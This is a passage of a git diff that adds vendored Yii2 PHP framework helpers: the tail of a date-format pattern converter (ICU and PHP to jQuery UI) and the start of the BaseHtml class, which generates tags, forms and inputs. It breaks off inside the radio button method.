// Time + 'a' => 'a', // Lowercase Ante meridiem and Post meridiem, am or pm + 'A' => 'a', // Uppercase Ante meridiem and Post meridiem, AM or PM, not supported by ICU but we fallback to lowercase + 'B' => '', // Swatch Internet time 000 through 999 + 'g' => 'h', // 12-hour format of an hour without leading zeros 1 through 12 + 'G' => 'H', // 24-hour format of an hour without leading zeros 0 to 23h + 'h' => 'hh', // 12-hour format of an hour with leading zeros, 01 to 12 h + 'H' => 'HH', // 24-hour format of an hour with leading zeros, 00 to 23 h + 'i' => 'mm', // Minutes with leading zeros 00 to 59 + 's' => 'ss', // Seconds, with leading zeros 00 through 59 + 'u' => '', // Microseconds. Example: 654321 + // Timezone + 'e' => 'VV', // Timezone identifier. Examples: UTC, GMT, Atlantic/Azores + 'I' => '', // Whether or not the date is in daylight saving time, 1 if Daylight Saving Time, 0 otherwise. + 'O' => 'xx', // Difference to Greenwich time (GMT) in hours, Example: +0200 + 'P' => 'xxx', // Difference to Greenwich time (GMT) with colon between hours and minutes, Example: +02:00 + 'T' => 'zzz', // Timezone abbreviation, Examples: EST, MDT ... + 'Z' => '', // Timezone offset in seconds. The offset for timezones west of UTC is always negative, and for those east of UTC is always positive. -43200 through 50400 + // Full Date/Time + 'c' => 'yyyy-MM-dd\'T\'HH:mm:ssxxx', // ISO 8601 date, e.g. 2004-02-12T15:19:21+00:00 + 'r' => 'eee, dd MMM yyyy HH:mm:ss xx', // RFC 2822 formatted date, Example: Thu, 21 Dec 2000 16:01:07 +0200 + 'U' => '', // Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) + ]); + } + + /** + * Converts a date format pattern from [ICU format][] to [jQuery UI date format][]. + * + * Pattern constructs that are not supported by the jQuery UI format will be removed. + * + * [jQuery UI date format]: http://api.jqueryui.com/datepicker/#utility-formatDate + * [ICU format]: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax + * + * @param string $pattern date format pattern in ICU format. + * @param string $type 'date', 'time', or 'datetime'. + * @param string $locale the locale to use for converting ICU short patterns `short`, `medium`, `long` and `full`. + * If not given, `Yii::$app->language` will be used. + * @return string The converted date format pattern. + */ + public static function convertDateIcuToJui($pattern, $type = 'date', $locale = null) + { + if (isset(self::$_icuShortFormats[$pattern])) { + if (extension_loaded('intl')) { + if ($locale === null) { + $locale = Yii::$app->language; + } + if ($type === 'date') { + $formatter = new IntlDateFormatter($locale, self::$_icuShortFormats[$pattern], IntlDateFormatter::NONE); + } elseif ($type === 'time') { + $formatter = new IntlDateFormatter($locale, IntlDateFormatter::NONE, self::$_icuShortFormats[$pattern]); + } else { + $formatter = new IntlDateFormatter($locale, self::$_icuShortFormats[$pattern], self::$_icuShortFormats[$pattern]); + } + $pattern = $formatter->getPattern(); + } else { + return static::$juiFallbackDatePatterns[$pattern][$type]; + } + } + // http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax + return strtr($pattern, [ + 'G' => '', // era designator like (Anno Domini) + 'Y' => '', // 4digit year of "Week of Year" + 'y' => 'yy', // 4digit year e.g. 2014 + 'yyyy' => 'yy', // 4digit year e.g. 2014 + 'yy' => 'y', // 2digit year number eg. 14 + 'u' => '', // extended year e.g. 4601 + 'U' => '', // cyclic year name, as in Chinese lunar calendar + 'r' => '', // related Gregorian year e.g. 1996 + 'Q' => '', // number of quarter + 'QQ' => '', // number of quarter '02' + 'QQQ' => '', // quarter 'Q2' + 'QQQQ' => '', // quarter '2nd quarter' + 'QQQQQ' => '', // number of quarter '2' + 'q' => '', // number of Stand Alone quarter + 'qq' => '', // number of Stand Alone quarter '02' + 'qqq' => '', // Stand Alone quarter 'Q2' + 'qqqq' => '', // Stand Alone quarter '2nd quarter' + 'qqqqq' => '', // number of Stand Alone quarter '2' + 'M' => 'm', // Numeric representation of a month, without leading zeros + 'MM' => 'mm', // Numeric representation of a month, with leading zeros + 'MMM' => 'M', // A short textual representation of a month, three letters + 'MMMM' => 'MM', // A full textual representation of a month, such as January or March + 'MMMMM' => '', // + 'L' => 'mm', // Stand alone month in year + 'LL' => 'mm', // Stand alone month in year + 'LLL' => 'M', // Stand alone month in year + 'LLLL' => 'MM', // Stand alone month in year + 'LLLLL' => '', // Stand alone month in year + 'w' => '', // ISO-8601 week number of year + 'ww' => '', // ISO-8601 week number of year + 'W' => '', // week of the current month + 'd' => 'd', // day without leading zeros + 'dd' => 'dd', // day with leading zeros + 'D' => 'o', // day of the year 0 to 365 + 'F' => '', // Day of Week in Month. eg. 2nd Wednesday in July + 'g' => '', // Modified Julian day. This is different from the conventional Julian day number in two regards. + 'E' => 'D', // day of week written in short form eg. Sun + 'EE' => 'D', + 'EEE' => 'D', + 'EEEE' => 'DD', // day of week fully written eg. Sunday + 'EEEEE' => '', + 'EEEEEE' => '', + 'e' => '', // ISO-8601 numeric representation of the day of the week 1=Mon to 7=Sun + 'ee' => '', // php 'w' 0=Sun to 6=Sat isn't supported by ICU -> 'w' means week number of year + 'eee' => 'D', + 'eeee' => '', + 'eeeee' => '', + 'eeeeee' => '', + 'c' => '', // ISO-8601 numeric representation of the day of the week 1=Mon to 7=Sun + 'cc' => '', // php 'w' 0=Sun to 6=Sat isn't supported by ICU -> 'w' means week number of year + 'ccc' => 'D', + 'cccc' => 'DD', + 'ccccc' => '', + 'cccccc' => '', + 'a' => '', // am/pm marker + 'h' => '', // 12-hour format of an hour without leading zeros 1 to 12h + 'hh' => '', // 12-hour format of an hour with leading zeros, 01 to 12 h + 'H' => '', // 24-hour format of an hour without leading zeros 0 to 23h + 'HH' => '', // 24-hour format of an hour with leading zeros, 00 to 23 h + 'k' => '', // hour in day (1~24) + 'kk' => '', // hour in day (1~24) + 'K' => '', // hour in am/pm (0~11) + 'KK' => '', // hour in am/pm (0~11) + 'm' => '', // Minutes without leading zeros, not supported by php but we fallback + 'mm' => '', // Minutes with leading zeros + 's' => '', // Seconds, without leading zeros, not supported by php but we fallback + 'ss' => '', // Seconds, with leading zeros + 'S' => '', // fractional second + 'SS' => '', // fractional second + 'SSS' => '', // fractional second + 'SSSS' => '', // fractional second + 'A' => '', // milliseconds in day + 'z' => '', // Timezone abbreviation + 'zz' => '', // Timezone abbreviation + 'zzz' => '', // Timezone abbreviation + 'zzzz' => '', // Timzone full name, not supported by php but we fallback + 'Z' => '', // Difference to Greenwich time (GMT) in hours + 'ZZ' => '', // Difference to Greenwich time (GMT) in hours + 'ZZZ' => '', // Difference to Greenwich time (GMT) in hours + 'ZZZZ' => '', // Time Zone: long localized GMT (=OOOO) e.g. GMT-08:00 + 'ZZZZZ' => '', // TIme Zone: ISO8601 extended hms? (=XXXXX) + 'O' => '', // Time Zone: short localized GMT e.g. GMT-8 + 'OOOO' => '', // Time Zone: long localized GMT (=ZZZZ) e.g. GMT-08:00 + 'v' => '', // Time Zone: generic non-location (falls back first to VVVV and then to OOOO) using the ICU defined fallback here + 'vvvv' => '', // Time Zone: generic non-location (falls back first to VVVV and then to OOOO) using the ICU defined fallback here + 'V' => '', // Time Zone: short time zone ID + 'VV' => '', // Time Zone: long time zone ID + 'VVV' => '', // Time Zone: time zone exemplar city + 'VVVV' => '', // Time Zone: generic location (falls back to OOOO) using the ICU defined fallback here + 'X' => '', // Time Zone: ISO8601 basic hm?, with Z for 0, e.g. -08, +0530, Z + 'XX' => '', // Time Zone: ISO8601 basic hm, with Z, e.g. -0800, Z + 'XXX' => '', // Time Zone: ISO8601 extended hm, with Z, e.g. -08:00, Z + 'XXXX' => '', // Time Zone: ISO8601 basic hms?, with Z, e.g. -0800, -075258, Z + 'XXXXX' => '', // Time Zone: ISO8601 extended hms?, with Z, e.g. -08:00, -07:52:58, Z + 'x' => '', // Time Zone: ISO8601 basic hm?, without Z for 0, e.g. -08, +0530 + 'xx' => '', // Time Zone: ISO8601 basic hm, without Z, e.g. -0800 + 'xxx' => '', // Time Zone: ISO8601 extended hm, without Z, e.g. -08:00 + 'xxxx' => '', // Time Zone: ISO8601 basic hms?, without Z, e.g. -0800, -075258 + 'xxxxx' => '', // Time Zone: ISO8601 extended hms?, without Z, e.g. -08:00, -07:52:58 + ]); + } + + /** + * Converts a date format pattern from [php date() function format][] to [jQuery UI date format][]. + * + * The conversion is limited to date patterns that do not use escaped characters. + * Patterns like `jS \o\f F Y` which will result in a date like `1st of December 2014` may not be converted correctly + * because of the use of escaped characters. + * + * Pattern constructs that are not supported by the jQuery UI format will be removed. + * + * [php date() function format]: http://php.net/manual/en/function.date.php + * [jQuery UI date format]: http://api.jqueryui.com/datepicker/#utility-formatDate + * + * @param string $pattern date format pattern in php date()-function format. + * @return string The converted date format pattern. + */ + public static function convertDatePhpToJui($pattern) + { + // http://php.net/manual/en/function.date.php + return strtr($pattern, [ + // Day + 'd' => 'dd', // Day of the month, 2 digits with leading zeros 01 to 31 + 'D' => 'D', // A textual representation of a day, three letters Mon through Sun + 'j' => 'd', // Day of the month without leading zeros 1 to 31 + 'l' => 'DD', // A full textual representation of the day of the week Sunday through Saturday + 'N' => '', // ISO-8601 numeric representation of the day of the week, 1 (for Monday) through 7 (for Sunday) + 'S' => '', // English ordinal suffix for the day of the month, 2 characters st, nd, rd or th. Works well with j + 'w' => '', // Numeric representation of the day of the week 0 (for Sunday) through 6 (for Saturday) + 'z' => 'o', // The day of the year (starting from 0) 0 through 365 + // Week + 'W' => '', // ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0) Example: 42 (the 42nd week in the year) + // Month + 'F' => 'MM', // A full textual representation of a month, January through December + 'm' => 'mm', // Numeric representation of a month, with leading zeros 01 through 12 + 'M' => 'M', // A short textual representation of a month, three letters Jan through Dec + 'n' => 'm', // Numeric representation of a month, without leading zeros 1 through 12 + 't' => '', // Number of days in the given month 28 through 31 + // Year + 'L' => '', // Whether it's a leap year, 1 if it is a leap year, 0 otherwise. + 'o' => '', // ISO-8601 year number. This has the same value as Y, except that if the ISO week number (W) belongs to the previous or next year, that year is used instead. + 'Y' => 'yy', // A full numeric representation of a year, 4 digits Examples: 1999 or 2003 + 'y' => 'y', // A two digit representation of a year Examples: 99 or 03 + // Time + 'a' => '', // Lowercase Ante meridiem and Post meridiem, am or pm + 'A' => '', // Uppercase Ante meridiem and Post meridiem, AM or PM, not supported by ICU but we fallback to lowercase + 'B' => '', // Swatch Internet time 000 through 999 + 'g' => '', // 12-hour format of an hour without leading zeros 1 through 12 + 'G' => '', // 24-hour format of an hour without leading zeros 0 to 23h + 'h' => '', // 12-hour format of an hour with leading zeros, 01 to 12 h + 'H' => '', // 24-hour format of an hour with leading zeros, 00 to 23 h + 'i' => '', // Minutes with leading zeros 00 to 59 + 's' => '', // Seconds, with leading zeros 00 through 59 + 'u' => '', // Microseconds. Example: 654321 + // Timezone + 'e' => '', // Timezone identifier. Examples: UTC, GMT, Atlantic/Azores + 'I' => '', // Whether or not the date is in daylight saving time, 1 if Daylight Saving Time, 0 otherwise. + 'O' => '', // Difference to Greenwich time (GMT) in hours, Example: +0200 + 'P' => '', // Difference to Greenwich time (GMT) with colon between hours and minutes, Example: +02:00 + 'T' => '', // Timezone abbreviation, Examples: EST, MDT ... + 'Z' => '', // Timezone offset in seconds. The offset for timezones west of UTC is always negative, and for those east of UTC is always positive. -43200 through 50400 + // Full Date/Time + 'c' => 'yyyy-MM-dd', // ISO 8601 date, e.g. 2004-02-12T15:19:21+00:00, skipping the time here because it is not supported + 'r' => 'D, d M yy', // RFC 2822 formatted date, Example: Thu, 21 Dec 2000 16:01:07 +0200, skipping the time here because it is not supported + 'U' => '@', // Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseHtml.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseHtml.php new file mode 100644 index 00000000..5824cc09 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseHtml.php @@ -0,0 +1,1910 @@ + + * @since 2.0 + */ +class BaseHtml +{ + /** + * @var array list of void elements (element name => 1) + * @see http://www.w3.org/TR/html-markup/syntax.html#void-element + */ + public static $voidElements = [ + 'area' => 1, + 'base' => 1, + 'br' => 1, + 'col' => 1, + 'command' => 1, + 'embed' => 1, + 'hr' => 1, + 'img' => 1, + 'input' => 1, + 'keygen' => 1, + 'link' => 1, + 'meta' => 1, + 'param' => 1, + 'source' => 1, + 'track' => 1, + 'wbr' => 1, + ]; + /** + * @var array the preferred order of attributes in a tag. This mainly affects the order of the attributes + * that are rendered by [[renderTagAttributes()]]. + */ + public static $attributeOrder = [ + 'type', + 'id', + 'class', + 'name', + 'value', + + 'href', + 'src', + 'action', + 'method', + + 'selected', + 'checked', + 'readonly', + 'disabled', + 'multiple', + + 'size', + 'maxlength', + 'width', + 'height', + 'rows', + 'cols', + + 'alt', + 'title', + 'rel', + 'media', + ]; + + + /** + * Encodes special characters into HTML entities. + * The [[\yii\base\Application::charset|application charset]] will be used for encoding. + * @param string $content the content to be encoded + * @param boolean $doubleEncode whether to encode HTML entities in `$content`. If false, + * HTML entities in `$content` will not be further encoded. + * @return string the encoded content + * @see decode() + * @see http://www.php.net/manual/en/function.htmlspecialchars.php + */ + public static function encode($content, $doubleEncode = true) + { + return htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE, Yii::$app->charset, $doubleEncode); + } + + /** + * Decodes special HTML entities back to the corresponding characters. + * This is the opposite of [[encode()]]. + * @param string $content the content to be decoded + * @return string the decoded content + * @see encode() + * @see http://www.php.net/manual/en/function.htmlspecialchars-decode.php + */ + public static function decode($content) + { + return htmlspecialchars_decode($content, ENT_QUOTES); + } + + /** + * Generates a complete HTML tag. + * @param string $name the tag name + * @param string $content the content to be enclosed between the start and end tags. It will not be HTML-encoded. + * If this is coming from end users, you should consider [[encode()]] it to prevent XSS attacks. + * @param array $options the HTML tag attributes (HTML options) in terms of name-value pairs. + * These will be rendered as the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * + * For example when using `['class' => 'my-class', 'target' => '_blank', 'value' => null]` it will result in the + * html attributes rendered like this: `class="my-class" target="_blank"`. + * + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated HTML tag + * @see beginTag() + * @see endTag() + */ + public static function tag($name, $content = '', $options = []) + { + $html = "<$name" . static::renderTagAttributes($options) . '>'; + return isset(static::$voidElements[strtolower($name)]) ? $html : "$html$content"; + } + + /** + * Generates a start tag. + * @param string $name the tag name + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated start tag + * @see endTag() + * @see tag() + */ + public static function beginTag($name, $options = []) + { + return "<$name" . static::renderTagAttributes($options) . '>'; + } + + /** + * Generates an end tag. + * @param string $name the tag name + * @return string the generated end tag + * @see beginTag() + * @see tag() + */ + public static function endTag($name) + { + return ""; + } + + /** + * Generates a style tag. + * @param string $content the style content + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * If the options does not contain "type", a "type" attribute with value "text/css" will be used. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated style tag + */ + public static function style($content, $options = []) + { + return static::tag('style', $content, $options); + } + + /** + * Generates a script tag. + * @param string $content the script content + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * If the options does not contain "type", a "type" attribute with value "text/javascript" will be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated script tag + */ + public static function script($content, $options = []) + { + return static::tag('script', $content, $options); + } + + /** + * Generates a link tag that refers to an external CSS file. + * @param array|string $url the URL of the external CSS file. This parameter will be processed by [[Url::to()]]. + * @param array $options the tag options in terms of name-value pairs. The following option is specially handled: + * + * - condition: specifies the conditional comments for IE, e.g., `lt IE 9`. When this is specified, + * the generated `script` tag will be enclosed within the conditional comments. This is mainly useful + * for supporting old versions of IE browsers. + * + * The rest of the options will be rendered as the attributes of the resulting link tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated link tag + * @see Url::to() + */ + public static function cssFile($url, $options = []) + { + if (!isset($options['rel'])) { + $options['rel'] = 'stylesheet'; + } + $options['href'] = Url::to($url); + + if (isset($options['condition'])) { + $condition = $options['condition']; + unset($options['condition']); + return ""; + } else { + return static::tag('link', '', $options); + } + } + + /** + * Generates a script tag that refers to an external JavaScript file. + * @param string $url the URL of the external JavaScript file. This parameter will be processed by [[Url::to()]]. + * @param array $options the tag options in terms of name-value pairs. The following option is specially handled: + * + * - condition: specifies the conditional comments for IE, e.g., `lt IE 9`. When this is specified, + * the generated `script` tag will be enclosed within the conditional comments. This is mainly useful + * for supporting old versions of IE browsers. + * + * The rest of the options will be rendered as the attributes of the resulting script tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated script tag + * @see Url::to() + */ + public static function jsFile($url, $options = []) + { + $options['src'] = Url::to($url); + if (isset($options['condition'])) { + $condition = $options['condition']; + unset($options['condition']); + return ""; + } else { + return static::tag('script', '', $options); + } + } + + /** + * Generates the meta tags containing CSRF token information. + * @return string the generated meta tags + * @see Request::enableCsrfValidation + */ + public static function csrfMetaTags() + { + $request = Yii::$app->getRequest(); + if ($request instanceof Request && $request->enableCsrfValidation) { + return static::tag('meta', '', ['name' => 'csrf-param', 'content' => $request->csrfParam]) . "\n " + . static::tag('meta', '', ['name' => 'csrf-token', 'content' => $request->getCsrfToken()]) . "\n"; + } else { + return ''; + } + } + + /** + * Generates a form start tag. + * @param array|string $action the form action URL. This parameter will be processed by [[Url::to()]]. + * @param string $method the form submission method, such as "post", "get", "put", "delete" (case-insensitive). + * Since most browsers only support "post" and "get", if other methods are given, they will + * be simulated using "post", and a hidden input will be added which contains the actual method type. + * See [[\yii\web\Request::methodParam]] for more details. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated form start tag. + * @see endForm() + */ + public static function beginForm($action = '', $method = 'post', $options = []) + { + $action = Url::to($action); + + $hiddenInputs = []; + + $request = Yii::$app->getRequest(); + if ($request instanceof Request) { + if (strcasecmp($method, 'get') && strcasecmp($method, 'post')) { + // simulate PUT, DELETE, etc. via POST + $hiddenInputs[] = static::hiddenInput($request->methodParam, $method); + $method = 'post'; + } + if ($request->enableCsrfValidation && !strcasecmp($method, 'post')) { + $hiddenInputs[] = static::hiddenInput($request->csrfParam, $request->getCsrfToken()); + } + } + + if (!strcasecmp($method, 'get') && ($pos = strpos($action, '?')) !== false) { + // query parameters in the action are ignored for GET method + // we use hidden fields to add them back + foreach (explode('&', substr($action, $pos + 1)) as $pair) { + if (($pos1 = strpos($pair, '=')) !== false) { + $hiddenInputs[] = static::hiddenInput( + urldecode(substr($pair, 0, $pos1)), + urldecode(substr($pair, $pos1 + 1)) + ); + } else { + $hiddenInputs[] = static::hiddenInput(urldecode($pair), ''); + } + } + $action = substr($action, 0, $pos); + } + + $options['action'] = $action; + $options['method'] = $method; + $form = static::beginTag('form', $options); + if (!empty($hiddenInputs)) { + $form .= "\n" . implode("\n", $hiddenInputs); + } + + return $form; + } + + /** + * Generates a form end tag. + * @return string the generated tag + * @see beginForm() + */ + public static function endForm() + { + return ''; + } + + /** + * Generates a hyperlink tag. + * @param string $text link body. It will NOT be HTML-encoded. Therefore you can pass in HTML code + * such as an image tag. If this is coming from end users, you should consider [[encode()]] + * it to prevent XSS attacks. + * @param array|string|null $url the URL for the hyperlink tag. This parameter will be processed by [[Url::to()]] + * and will be used for the "href" attribute of the tag. If this parameter is null, the "href" attribute + * will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated hyperlink + * @see \yii\helpers\Url::to() + */ + public static function a($text, $url = null, $options = []) + { + if ($url !== null) { + $options['href'] = Url::to($url); + } + return static::tag('a', $text, $options); + } + + /** + * Generates a mailto hyperlink. + * @param string $text link body. It will NOT be HTML-encoded. Therefore you can pass in HTML code + * such as an image tag. If this is coming from end users, you should consider [[encode()]] + * it to prevent XSS attacks. + * @param string $email email address. If this is null, the first parameter (link body) will be treated + * as the email address and used. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated mailto link + */ + public static function mailto($text, $email = null, $options = []) + { + $options['href'] = 'mailto:' . ($email === null ? $text : $email); + return static::tag('a', $text, $options); + } + + /** + * Generates an image tag. + * @param array|string $src the image URL. This parameter will be processed by [[Url::to()]]. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated image tag + */ + public static function img($src, $options = []) + { + $options['src'] = Url::to($src); + if (!isset($options['alt'])) { + $options['alt'] = ''; + } + return static::tag('img', '', $options); + } + + /** + * Generates a label tag. + * @param string $content label text. It will NOT be HTML-encoded. Therefore you can pass in HTML code + * such as an image tag. If this is is coming from end users, you should [[encode()]] + * it to prevent XSS attacks. + * @param string $for the ID of the HTML element that this label is associated with. + * If this is null, the "for" attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated label tag + */ + public static function label($content, $for = null, $options = []) + { + $options['for'] = $for; + return static::tag('label', $content, $options); + } + + /** + * Generates a button tag. + * @param string $content the content enclosed within the button tag. It will NOT be HTML-encoded. + * Therefore you can pass in HTML code such as an image tag. If this is is coming from end users, + * you should consider [[encode()]] it to prevent XSS attacks. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function button($content = 'Button', $options = []) + { + if (!isset($options['type'])) { + $options['type'] = 'button'; + } + return static::tag('button', $content, $options); + } + + /** + * Generates a submit button tag. + * @param string $content the content enclosed within the button tag. It will NOT be HTML-encoded. + * Therefore you can pass in HTML code such as an image tag. If this is is coming from end users, + * you should consider [[encode()]] it to prevent XSS attacks. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated submit button tag + */ + public static function submitButton($content = 'Submit', $options = []) + { + $options['type'] = 'submit'; + return static::button($content, $options); + } + + /** + * Generates a reset button tag. + * @param string $content the content enclosed within the button tag. It will NOT be HTML-encoded. + * Therefore you can pass in HTML code such as an image tag. If this is is coming from end users, + * you should consider [[encode()]] it to prevent XSS attacks. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated reset button tag + */ + public static function resetButton($content = 'Reset', $options = []) + { + $options['type'] = 'reset'; + return static::button($content, $options); + } + + /** + * Generates an input type of the given type. + * @param string $type the type attribute. + * @param string $name the name attribute. If it is null, the name attribute will not be generated. + * @param string $value the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated input tag + */ + public static function input($type, $name = null, $value = null, $options = []) + { + $options['type'] = $type; + $options['name'] = $name; + $options['value'] = $value === null ? null : (string) $value; + return static::tag('input', '', $options); + } + + /** + * Generates an input button. + * @param string $label the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function buttonInput($label = 'Button', $options = []) + { + $options['type'] = 'button'; + $options['value'] = $label; + return static::tag('input', '', $options); + } + + /** + * Generates a submit input button. + * @param string $label the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function submitInput($label = 'Submit', $options = []) + { + $options['type'] = 'submit'; + $options['value'] = $label; + return static::tag('input', '', $options); + } + + /** + * Generates a reset input button. + * @param string $label the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the attributes of the button tag. The values will be HTML-encoded using [[encode()]]. + * Attributes whose value is null will be ignored and not put in the tag returned. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function resetInput($label = 'Reset', $options = []) + { + $options['type'] = 'reset'; + $options['value'] = $label; + return static::tag('input', '', $options); + } + + /** + * Generates a text input field. + * @param string $name the name attribute. + * @param string $value the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function textInput($name, $value = null, $options = []) + { + return static::input('text', $name, $value, $options); + } + + /** + * Generates a hidden input field. + * @param string $name the name attribute. + * @param string $value the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function hiddenInput($name, $value = null, $options = []) + { + return static::input('hidden', $name, $value, $options); + } + + /** + * Generates a password input field. + * @param string $name the name attribute. + * @param string $value the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function passwordInput($name, $value = null, $options = []) + { + return static::input('password', $name, $value, $options); + } + + /** + * Generates a file input field. + * To use a file input field, you should set the enclosing form's "enctype" attribute to + * be "multipart/form-data". After the form is submitted, the uploaded file information + * can be obtained via $_FILES[$name] (see PHP documentation). + * @param string $name the name attribute. + * @param string $value the value attribute. If it is null, the value attribute will not be generated. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated button tag + */ + public static function fileInput($name, $value = null, $options = []) + { + return static::input('file', $name, $value, $options); + } + + /** + * Generates a text area input. + * @param string $name the input name + * @param string $value the input value. Note that it will be encoded using [[encode()]]. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * @return string the generated text area tag + */ + public static function textarea($name, $value = '', $options = []) + { + $options['name'] = $name; + return static::tag('textarea', static::encode($value), $options); + } + + /** + * Generates a radio button input. + * @param string $name the name attribute. + * @param boolean $checked whether the radio button should be checked. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - uncheck: string, the value associated with the uncheck state of the radio button. When this attribute + * is present, a hidden input will be generated so that if the radio button is not checked and is submitted, + * the value of this attribute will still be submitted to the server via the hidden input. + * - label: string, a label displayed next to the radio button. It will NOT be HTML-encoded. Therefore you can pass + * in HTML code such as an image tag. If this is is coming from end users, you should [[encode()]] it to prevent XSS attacks. + * When this option is specified, the radio button will be enclosed by a label tag. + * - labelOptions: array, the HTML attributes for the label tag. Do not set this option unless you set the "label" option. + * + * The rest of the options will be rendered as the attributes of the resulting radio button tag. The values will + * be HTML-encoded using [[encode()]]. If a value is null, the corresponding attribute will not be rendered. + * See [[renderTagAttributes()]] for details on how attributes are being rendered. + * + * @return string the generated radio button tag + */ + public static function radio($name, $checked = false, $options = []) + { + $options['checked'] = (boolean) $checked; + $value = array_key_exists('value', $options) ? $options['value'] : '1'; + if (isset($options['uncheck'])) { + // add a hidden field so that if the radio button is not selected, it still submits a value + $hidden = static::hiddenInput($name, $options['uncheck']); + unset($options['uncheck']); + } else { + $hidden = 